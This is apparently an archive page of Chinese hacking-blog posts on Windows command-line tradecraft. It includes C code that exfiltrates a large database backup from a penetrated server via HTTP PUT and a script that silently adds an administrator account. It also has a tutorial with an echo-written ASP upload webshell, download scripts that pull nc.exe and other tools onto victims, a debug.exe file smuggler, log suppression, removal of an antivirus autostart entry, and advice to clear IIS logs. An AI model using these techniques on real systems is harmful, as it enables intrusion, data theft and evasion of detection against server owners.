存档

文章标签 ‘CMD’

命令行下的PUT方式上传大文件

2009年7月18日 没有评论 76 views

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.

代码:

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")

void Usage (char *name);//帮助信息

BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)
{
INTERNET_BUFFERS BufferIn = {0};
DWORD dwBytesRead;
DWORD dwBytesWritten;
BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件

BOOL bRead, bRet;

BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
//使用put方式上传文件:
HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",
localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hRequest)
{
printf("Failed to open request handle: %lu\n", GetLastError ());
return FALSE;
}

//打开指定的文件:
HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("\nFailed to open local file %s.", upFile);
return FALSE;
}

BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);
printf ("File size is %d\n", BufferIn.dwBufferTotal );

if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, HSR_INITIATE, 0))
{
printf( "Error on HttpSendRequestEx %lu\n",GetLastError() );
return FALSE;
}

DWORD sum = 0;
do
{
if  (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&dwBytesRead, NULL)))
{
printf ("\nReadFile failed on buffer %lu.",GetLastError());
break;
}
if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&dwBytesWritten)))
{
printf ("\nInternetWriteFile failed %lu", GetLastError());
break;
}
sum += dwBytesWritten;
}
while (dwBytesRead == sizeof(pBuffer)) ;

CloseHandle (hFile);
printf ("Actual written bytes: %d\nupload %s successed!\n", sum,localFile);

//结束一个HTTP请求:
if(!HttpEndRequest(hRequest, NULL, 0, 0))
{
printf( "Error on HttpEndRequest %lu \n", GetLastError());
return FALSE;
}
return TRUE;
}

int main(int argc, char **argv)

{
//put 127.0.0.1 /1.db c:\\wmpub\\1.exe
if(argc!=4)
{
Usage(argv[0]);
return 0;
}

//char *ServerName="127.0.0.1"; //这里填写URL地址
char *ServerName=argv[1];

HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式
if(!hSession){
printf("Failed to open InternetOpen\n");
exit(0);
}
//连接到一个http服务:
HINTERNET hConnect = InternetConnect(hSession,
ServerName,
INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53
NULL,
NULL,
INTERNET_SERVICE_HTTP, //服务类型HTTP,FTP或Gopher
0,
1);

if(!hConnect)
{
printf("error InternetConnect\n");
return 0;
}

//TCHAR *putfile="c:\\wmpub\\1.exe"; //上传的程序
TCHAR *putfile=argv[3];
TCHAR *putlocalfile=argv[2];
BOOL sigh;
sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);
if(!sigh)
{
printf("error UseHttpSendReqEx\n");
return 0;
}

return 0;
}

//输出帮助的典型方法:
void Usage (char *name)
{
fprintf(stderr,"===============================================================================\n"
"\t名称:利用PUT上传300M的大文件\n"
"\t环境:Win2003+Visual C++ 6.0\n"
"\t作者:pt007@vip.sina.com\n"
"\tQQ:  7491805\n"
"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
"\t使用说明:1.db为上传后保存后的文件,c:\\wmpub\\1.exe为本地要上传的大文件,\n\t需要IIS里面设置允许写入!\n"
"\t例子:%s 192.168.1.101 /1.db c:\\wmpub\\1.exe\n"
"===============================================================================\n",name);
}

分类: 技术文章 标签:

命令行下一种新的加帐号的方法

2009年7月15日 没有评论 71 views

作者:lcx

今天研究了一下用户控制面板文件nusrmgr.cpl,发现调用的是Shell.Users来加用户,它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话,这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外,这也可能是一种新的加用户的方法。代码如下:

js:

var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:

Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
分类: 技术文章 标签:

CMD下设置网关

2008年10月29日 没有评论 56 views

上次导数据库的时候不幸把这个导丢了,今天刚好注射攻击的时候,那数据库机器没设置网关,那就自己加一个先试试看了,搞不好可以直接上网了,网关的ip不知道,只好写个批处理来探测,看运气咯

FOR /L %I in (1,1,255) DO PING 192.168.1.%I -n 1 -w 100 >> c:\ping.txt

然后查看ping.txt的结果,一台一台测试过去
for /l %p in (1,1,254) do @ping 192.168.1.%p -n 1 |find "reply from" /i  >>c:\ping.txt

上面这条命令可以把能ping通的机器单独整理出来
修改网关的命令如下:
cmd /c netsh interface ip set address name=" 本地连 接" source=static addr=192.168.1.100 mask=255.255.255.0 gateway=192.168.1.1 gwmetric=1

修改DNS
cmd /c netsh interface ip set dns name="本地连接" source=static addr=61.134.1.9

分类: 技术文章 标签: ,

CMD下建立VPN

2007年5月9日 没有评论 43 views

1.前提
服务里 windows防火墙停止(或者麻烦点可以把router协议,端口1723配进去)
远程注册表服务必须开启
server服务必须开启
router路由服务必须开启

两块以上网卡的win2000做vpn很方便,添加nat协议后,客户端拨入,能够使用远程网络连接internet。 使得部分客户端可提高网络速度,并达到代理的作用。

一块网卡的winxp,win2003做类似的vpn仍然很方便,nat协议添加后,再添加两个接口,一个是本地连接,一个是内部,设置本地连接为全转发,内部为私有模式,既可让有权限的用户拨入。

一块网卡的win2000,做类似的vpn就不方便了,nat协议添加后,再添加接口,只可以添加上本地连接,内部不容许图形界面的添加,察看了netsh dump >c:\1.txt后,尝试在netsh命令添加内部接口,通过。 命令为:netsh routing ip nat add interface 内部 private

下面是部分常用命令:

netsh ras set user username permit //设置用户授权,该用户不能为tsinternetuser support_388945a0等。

netsh ras ip set addrassign pool //设置静态地址池模式

netsh ras ip add range 10.0.0.1 10.0.0.100 // 设置静态池范围 ,要用标准的局域网地址,避免将来在访问internet时候地址转发错误。

netsh routing ip nat install //添加nat协议

netsh routing ip nat add interface 本地连接 full //添加nat接口本地连接全转发

netsh routing ip nat add interface 内部 private //添加nat借口内部私有模式

igmp同样可以在netsh配置,命令行很长:

netsh routing ip igmp install

netsh routing ip igmp add interface 内部 igmpprototype=IGMPRTRV2 ifenabled=enable robustvar=2 startupquerycount=2 startupqueryinterval=31 genqueryinterval=125 genqueryresptime=10 lastmemquerycount=2 lastmemqueryinterval=1000 accnonrtralertpkts=YES

netsh routing ip igmp add interface name="本地连接" igmpprototype=IGMPPROXY ifenabled=enable
如果配置前已经有接口,就要先删除:

netsh routing ip igmp delete interface 内部 //与此类似

路由和远程访问服务会在系统、安全日记中记录不少信息,比如ipsec、登陆信息。

修改一下注册表可以避免:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters

ProhibitIPsec"=dword:00000001

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters

LoggingFlags"=dword:00000000

现在除了登陆信息,ipsec,remoteaccess警告,已经不记录。

----------------------------------------

还有值得一提的是建立好地vpn,通常使用的都是pptp协议,tcp1723端口,如果我们在网卡的ip策略添加了tcp1723的容许条目,基本上可以拨入。为什么是基本呢,因为pptp除了 tcp1723外还有一个ip47号协议,不同于tcp不同于udp,此协议对于认证很重要。如果网络上的防火墙割断的话,会出现拨号->用户认证 ->不通过认证断开的问题。

在配置vpn的时候,还需要remoteregister服务的支持,建立好以后可以关掉。

workstation , server,rpc同样在配置时候需要。

----------------------------------------

经测试,全命令行的建立vpn后,rrasmgmt.msc不出现具体配置信息。也就是说只有看网络连接文件夹,才能看出来一个拨入的连接

分类: 技术文章 标签: ,

命令行下建立虚拟目录

2006年11月26日 没有评论 56 views

文章作者:臭要饭的!

很久,很久没有和大家聊天了,很想大家的。见面先就给大家送个小礼吧。其实也不是什么好东西。
在研究和学习中进步,没有研究,没有深入的去了解,就没有进步。认真的学习态度+穷追不舍+十万个为什么。
得到的结果就是成就!
好了,屁话放了太多了。明白的人,不看上面的话都明白。不明白的人,看了也许永远也不会明白。

系统中有个VBS也可以实现这样的功能的。不过我认为,如果在台虚拟主机中,存在多个网站的情况下。
建立虚拟目录,也只能在第一个默认的站点中。一般情况下虚拟主机默认是关掉的。也就是你建好了,通过HTTP也不能访问。
从MSDN中,我找到了一些相关的技术资料,写了个小工具。可以建立在其它站点中。这里看来说起来有点混乱。

我举例给大家说说吧。
拿个虚拟主机的 Internet 信息服务中的列表给大家看看就明白了

+默认 web 站点(已停止)
+管理 web 站点(已停止)
+163.com
+263.com
+363.com

好,上面大家看到了,有三个站点是开放的。而前面那个默认的已经被关闭了。
这时,我们用VBS建立虚拟目录,是建立在默认的站点中,而站点被停止了,所以建立成功后,也不能访问。
比如:我们怎么能在263.com这个站中,建立一个目录,比如:VDIR,通过http://www.163.com/VDIR就可以访问了呢?
通过查找资料,我得到了,在建立的时候,允许指定一个序号,比如:1..N

1 : 表示,在默认的站点中,然后按着这个顺序来,而363.com对应的序号就是5.
明白了这个道理后,用程序来实现这个功能就比较简单了。当然,你会说,那么我想在263.com这个站中,建立。
但是我不知道,这个站对应的序号是多少,对于这个问题,我们只能从序号3开始一直往下建立,(1,2对应的是前面默认的)
当建立一个后,可以读出他的配置信息,返回给大家。建一个后,你就明白是不是建立在你想要建的那个站中,如果不是。
也可以把他删掉。再增加序号。:)(有没有一个工具,可以在命令行下,实现把所有的主机站点信息,比如:名称,对应目录之类的列出来?原理差不多,你看完代码应该会写了)

以下是代码:
program VDir;

{$APPTYPE CONSOLE}

uses
ActiveX,SysUtils,ComObj;
Var
VName,
VPath,
Vattrib : String;

createVpath : Boolean;
WebIndex : integer;

Procedure ShowHelp;
Begin
WriteLn('=========== VDir by CYFD! ============');
WriteLn('');
WriteLn('Useag:'+ParamStr(0)+' <-n:VName> <-p:VPath> <-i:WebIndex> <-c:CmdType> [-r:Vattrib]');
WriteLn('');
WriteLn('Sample:'+ParamStr(0)+' -n:yfd -p:c:\ -i:1 -c:1 -r:0,1,3');
WriteLn('');
WriteLn(' CmdType :');
WriteLn(' 1 : create');
WriteLn(' 0 : delete');
WriteLn(' Vattrib :');
WriteLn(' 0 : AccessScript');
WriteLn(' 1 : AccessRead');
WriteLn(' 2 : AccessWrite');
WriteLn(' 3 : AccessExecute');
WriteLn(' 4 : EnableDirBrowsing');
End;

Procedure ParseParam(Str : String);
var
tStr : String;
Begin
tStr := lowercase(Copy(Str,1,3));
if tStr='-n:' then
VName := Copy(Str,4,Length(Str));
if tStr='-p:' then
VPath := Copy(Str,4,Length(Str));
if tStr='-c:' then
createVpath := StrToIntDef(Copy(Str,4,Length(Str)),1) = 1;
if tStr='-r:' then
Vattrib := Copy(Str,4,Length(Str));
if tStr='-i:' then
WebIndex := StrToIntDef(Copy(Str,4,Length(Str)),1);

End;

Function GetStrForSpace(SourceStr :String ; JGZF:char ; Index:integer):String;
var
Pchar1 : pchar;
i , count : integer;
cStr : string;
begin
Count := 0;
Pchar1 := pchar(SourceStr);
cStr := '';
for i:=0 to length(Pchar1)-1 do begin
if pchar1 = JGZF then
begin
Count := Count + 1;
if Count = Index then begin
break;
end;
end
else if Count = Index -1 then cStr := cStr + pchar1;
end;
Result := cStr;
end;

procedure createVDir(Vdirpath:string);
var
WebSite, WebServer, WebRoot, VDir,Binds: Variant;
BindStr : String;
begin
Try
WebSite := createOleObject('IISNamespace');
WebSite := WebSite.GetObject('IIsWebService', 'localhost/w3svc');
WebServer := WebSite.GetObject('IIsWebServer', IntTostr(WebIndex));

// 这里的WebIndex就是你要建立的序号.

WebRoot := WebServer.GetObject('IIsWebVirtualDir', 'Root');

if createVpath then Begin
VDir := WebRoot.create('IIsWebVirtualDir', VName);
Vdir.AccessScript := pos(',0,',Vattrib) >0;
VDir.AccessRead := pos(',1,',Vattrib) >0;
VDir.AccessWrite := pos(',2,',Vattrib) >0;
VDir.AccessExecute := pos(',3,',Vattrib) >0;
VDir.EnableDirBrowsing := pos(',4,',Vattrib) >0;

// 以上几行是为你建立的目录设访问权限。可写,可读,可执行,可流览...

VDir.Path :=VDirPath;
VDir.SetInfo;

Binds := WebServer.ServerBindings;
BindStr := Binds[0]+':';
WriteLn('');
WriteLn('Result :');
WriteLn('');
WriteLn('IP : '+ GetStrForSpace(BindStr,':',1));
WriteLn('Port : '+ GetStrForSpace(BindStr,':',2));
WriteLn('HostName : '+ GetStrForSpace(BindStr,':',3));
WriteLn('');
WriteLN('Path Is: ' + WebRoot.Path);
WriteLN('Index IS: ' + IntTostr(WebIndex));
WriteLn('Comment : ' + WebServer.ServerComment);

// 上面几行就是得到站点的一些信息,IP,端口,主机名,路径,等等..

WriteLn('');
WriteLn('create success.');
End
Else Begin
WebRoot.delete('IIsWebVirtualDir', VName);
Writeln('delete Success.');
End;
Except
WriteLn('Fail.');
End;

end;

Var
i : integer;
begin

coinitialize(nil);
if ParamCount <4 then Begin
ShowHelp;
Exit;
End;

For i:=1 to ParamCount do
ParseParam(Paramstr(i));

if (ParamCount = 5) and (Vattrib ='') then Begin
ShowHelp;
Exit;
End;
Vattrib := ','+Vattrib+',';
createVDir(VPath);

{ TODO -oUser -cConsole Main : insert code here }

end.
代码可以用COPY到记事本中,然后保存为VDIR.DPR 文件,用DELPHI打开编译一下就行了。

使用方法:
我要在默认站点(序号为1)中建立一个,可读,可写,可注浏览的目录,名称为: yfd 路径为c:
那么这么使用:

D:VDir.exe -n:yfd -p:c: -i:1 -c:1 -r:1,2,4

程序帮助显示:
Useag:VDir.exe <-n:VName> <-p:VPath> <-i:WebIndex> <-c:CmdType> [-r:Vattrib]

Sample:D:VDir.exe -n:yfd -p:c: -i:1 -c:1 -r:0,1,3

CmdType :
1 : create
0 : delete
Vattrib :

0 : AccessScript (脚本访问)
1 : AccessRead (可读)
2 : AccessWrite (可写)
3 : AccessExecute (可执行)
4 : EnableDirBrowsing (可浏览)

-n: 建立的目录名称

-P: 建立的目录路径

-i: 序号

-c: (1表示建立,0表示删除)

-r: (当选择建立的时候,请输入他相应的访问权限值,删除的时候可以不写).

返回结果:

D:>VDir.exe -n:yfd -p:c: -i:1 -c:1 -r:1,2,4

Result :

IP : 127.0.0.1
Port : 80
HostName :

Path Is: E:ScriptWEBTEST
Index IS: 1
Comment : 默认 Web 站点

create success.

分类: 技术文章 标签:

netsh配置防火墙

2006年11月26日 没有评论 91 views

现在越来越多的服务器用的是ICS防火墙,配合ipsec来管理远程登陆和端口安全
搞的真是要天下无黑了
很多服务器直接打下来却连不上3389,仔细分析完也没找到什么防火墙或者新鲜软件,ipsec服务关闭以后也没效果。着实郁闷了一翻
想一想就是自带ICS搞的鬼吧

服务中显示:
Windows Firewall/Internet Connection Sharing (ICS)
我们可以用
net stop "Windows Firewall/Internet Connection Sharing (ICS)"直接关闭,但是并未给提示,而且也没有起到效果,3389依然连接不上
net start之时却提示服务启动~~~郁闷ing
请教n多朋友,有的说停止服务,有的说kill进程,均告失败。终于在俺哥那里找到了答案,现分享出来
C:\>netsh
netsh>firewall
netsh firewall>show

下列指令有效:

命令从 netsh 上下文继承:
show alias - 列出所有定义过的别名。
show helper - 请列出所有头等助手。
show mode - 显示当前的模式。

此上下文中的命令:
show allowedprogram - 显示防火墙允许的程序配置。
show config - 显示防火墙配置。
show currentprofile - 显示当前防火墙配置文件。
show icmpsetting - 显示防火墙 ICMP 配置。
show logging - 显示防火墙记录配置。
show multicastbroadcastresponse - 显示防火墙多播/广播响应配置。
show notifications - 显示防火墙操作配置。
show opmode - 显示防火墙端口配置。
show portopening - 显示防火墙端口配置。
show service - 显示防火墙服务配置。
show state - 显示当前防火墙状态。

分类: 技术文章 标签:

加密CMD使电脑溢出也拿不到CMD权限

2006年11月15日 没有评论 56 views

以下是lock.bat文件

@echo off
title 密码验证
SETLOCAL
set pwd=0
set times=3

echo ________________________________________________________________________________
echo 您现在使用的是[Anlge]的CMD,没有经过[Angle]的允许不能执行任何命令,
echo 您的这次使用的所有操作以及留言都已经记入日志,如果您还没有密码,那请与
echo [Angle]联系,已经有密码了请您输入密码!
echo ________________________________________________________________________________
echo ####################################################################### >> e:\CMD\mylog.txt
echo 操作: 激活密码验证 时间:%time% 日期:%date% >> e:\CMD\mylog.txt
echo 状态: 等待验证…… >> e:\CMD\mylog.txt
echo. >> e:\CMD\mylog.txt
echo [ LOGIN ]

:password
set /p pwd= 请输入您的密码:
set /A times=%times%-1
if %pwd%==fangzi goto pass
echo ***** 密码验证错误,请您重新输入 您还有 %times% 次机会输入密码 *****
echo .
if %times%==0 goto close
echo 状态: 用户输入密码 验证失败 时间:%time% >> e:\CMD\mylog.txt
goto password

:close
echo 状态: 用户3次输入密码错误 程序锁定 时间:%time% >> e:\CMD\mylog.txt
title 对不起,您无法使用[Angle]的CMD
echo --------------------------------------------------------------------------------
echo 由于您3次密码验证失败,程序已经被锁定,您已经无法继续操作,您可以选择关闭
echo 本窗口,您也可以通过留言来与[Angle]取得联系,输入留言后,请按回车提交!
echo --------------------------------------------------------------------------------
echo [ MESSAGES ]

:message
echo ________________________________________________________________________________
set /p msg= 请输入您的留言:
echo . >> e:\CMD\mymsg.txt
echo ####################################################################### >> e:\CMD\mymsg.txt
echo 日期:%date% 时间:%time% >> e:\CMD\mymsg.txt
echo 留言内容: >> e:\CMD\mymsg.txt
echo %msg% >> e:\CMD\mymsg.txt
echo. >> c:\message.txt
echo …… OK ……
echo 您的留言已经记录,您可以选择关闭窗口也可以选择继续留言
echo 操作: 用户留言 时间:%time% >> e:\CMD\mylog.txt
goto message

:pass
echo 状态: 程序已开放,欢迎使用 时间:%time% >> e:\CMD\mylog.txt
title [Angle]的CMD
ENDLOCAL

-----------------------------------------------------------------

以下是setup.bat

@echo off
copy /y lock.bat %windir%\lock.bat
echo lock.bat安装成功
regedit /s lock.reg
echo lock.reg注册成功
-----------------------------------------------------

用来卸装的文件
以下是unlock.reg

@echo off
del /f lock.bat %windir%\lock.bat
echo lock.bat删除成功
regedit /s unlock.reg
echo lock.reg反注册成功

------------------------------------------------------

双击setup.bat即可安装!

在使用CMD时,密码为fangzi (全为小写,这里的密码对大小写敏感)
所有的日志存放在E:\CMD\mylog.txt中
所有的留言存放在E:\CMD\mymsg.txt中

分类: 技术文章 标签:

Do All in CmdShell

2006年9月21日 没有评论 93 views

Do All in Cmd Shell (一切尽在命令行)

-------------------------------------------------------
zzzEVAzzz
http://www.isgrey.com
2004-04-24
-------------------------------------------------------


目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言


前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。


文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with

将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:

cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

注意,这个命令是在本地命令行中执行的,不要弄错了。

另外,通过IIS上传会留日志,要记得清除哦。

2,自动下载到网页缓存中。
例如:

start its:http://www.sometips.com/soft/ps.exe

在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:

cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe

于是获得ps.exe的具体位置(每台主机都不一样),如:

C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录

2004-01-24 14:24 49,152 ps[1].exe
1 个文件 49,152 字节

最后:
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe

补充说明:
对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。
本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。
另外,用ms-its代替its效果完全一样。

3,Echo一个脚本下载web资源。
现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。
仍然是echo版:

@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

举例——下载ps.exe并保存到c:\path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!

echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript
.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为"热身",让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。


系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:\>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-

3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

将它写入c:\path\reg.inf然后用下面这个命令"安装":

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。


